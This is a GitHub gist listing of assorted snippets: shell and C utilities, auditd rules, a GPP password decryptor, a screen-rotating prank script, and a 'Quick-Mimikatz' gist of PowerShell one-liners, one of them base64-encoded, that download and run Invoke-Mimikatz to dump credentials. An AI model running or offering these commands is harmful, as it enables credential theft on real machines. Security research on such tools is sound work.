Skip to content

Instantly share code, notes, and snippets.

View kost's full-sized avatar
💭
I'm upto something

kost kost

💭
I'm upto something
View GitHub Profile
#!/bin/sh
# Copy data to the end of the partition, needed for BIOS Next186 by Kost.
# https://gist.github.com/kost
# Example: ./copy_bios_end.sh BIOS_Next186.bin /dev/sdd
if [ "$#" -ne 2 ] ; then
echo "Usage: $0 <BIOSfile> <device>" >&2
echo "Example: $0 BIOS_Next186.bin /dev/sdd" >&2
exit 1
fi
--- platform_check.orig 2019-12-23 15:34:28.380333391 +0000
+++ platform_check 2019-12-23 15:35:50.004593076 +0000
@@ -12,15 +12,7 @@
case $PLATFORM in
linux | linux_a_64 )
case $VERSION in
- 5.*)
- fullsubver=`echo $VERSION | sed s/5\\\.//`
- numsubver=`echo $fullsubver | sed -e 's/[^0-9].*//'`
- if [ $numsubver -gt 8 ]; then
--- platform_check.orig 2019-12-23 10:38:37.554904368 +0000
+++ platform_check 2019-12-23 10:39:31.407644807 +0000
@@ -12,7 +12,7 @@
case $PLATFORM in
linux | linux_a_64 )
case $VERSION in
- 3.* | 2.4.* | 2.6.* )
+ 5.* | 4.* | 3.* | 2.4.* | 2.6.* )
PLATFORM_STATUS="ok";;
*)
@kost
kost / test-sizes.c
Created December 11, 2019 06:00
Test sizes of primitives on different archs
#include <stdio.h>
main()
{
fprintf(stdout, "size of char: %d\n", sizeof(char));
fprintf(stdout, "size of short: %d\n", sizeof(short));
fprintf(stdout, "size of int: %d\n", sizeof(int));
fprintf(stdout, "size of char_p: %d\n", sizeof(char *));
}
@kost
kost / vboxelf2raw.sh
Created November 21, 2019 09:39
Convert VirtualBox ELF memory dump to RAW memory dump
#!/bin/bash
# Script to convert from vbox elf format to raw (modified from andreafortun -kost)
# Memory dump of VirtualBox in Elf format:
# vboxmanage debugvm "win7test" dumpvmcore --filename testvbox.elf
# Usage: vboxelf2raw.sh testvbox.elf
if [ "$1x" == "x" ]; then
echo "Usage: vboxelf2raw.sh <file.elf> [out.raw]"
echo "Example: vboxelf2raw.sh testvbox.elf"
echo "vboxelf2raw.sh will output to testvbox.elf.raw if output is not specified"
@kost
kost / Quick-Mimikatz
Created November 14, 2018 11:49 — forked from gfoss/Quick-Mimikatz
Quick Mimikatz
*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*
#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m
#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==
#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master
@kost
kost / audit.rules
Created April 26, 2018 11:31 — forked from Neo23x0/audit.rules
Linux Auditd Best Practice Configuration
# ___ ___ __ __
# / | __ ______/ (_) /_____/ /
# / /| |/ / / / __ / / __/ __ /
# / ___ / /_/ / /_/ / / /_/ /_/ /
# /_/ |_\__,_/\__,_/_/\__/\__,_/
#
# Linux Audit Daemon - Best Practice Configuration
# /etc/audit/audit.rules
#
# Compiled by Florian Roth
@kost
kost / gpg-decrypt.rb
Created November 21, 2017 20:29
Group Policy Preferences (GPP) password decryption
#!/usr/bin/env ruby
# This tool was released by Chris Gates on Friday, October 19, 2012
# Gemification by Kost
require 'rubygems'
require 'openssl'
require 'base64'
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
/**
* Retrieves all the rows in the active spreadsheet that contain data and logs the
* values for each row.
* For more information on using the Spreadsheet API, see
* https://developers.google.com/apps-script/service_spreadsheet
*/
function readRows() {
var sheet = SpreadsheetApp.getActiveSheet();
var rows = sheet.getDataRange();
var numRows = rows.getNumRows();
@kost
kost / rotate
Created April 30, 2017 17:28 — forked from narongdejsrn/rotate
Python code to annoy your friend in Windows OS
import win32com.client
import time
import itertools
shell = win32com.client.Dispatch("WScript.Shell")
curArr = ["RIGHT", "DOWN", "LEFT", "UP"]
for element in itertools.cycle(curArr):
shell.SendKeys("^%{" + element + "}", 0)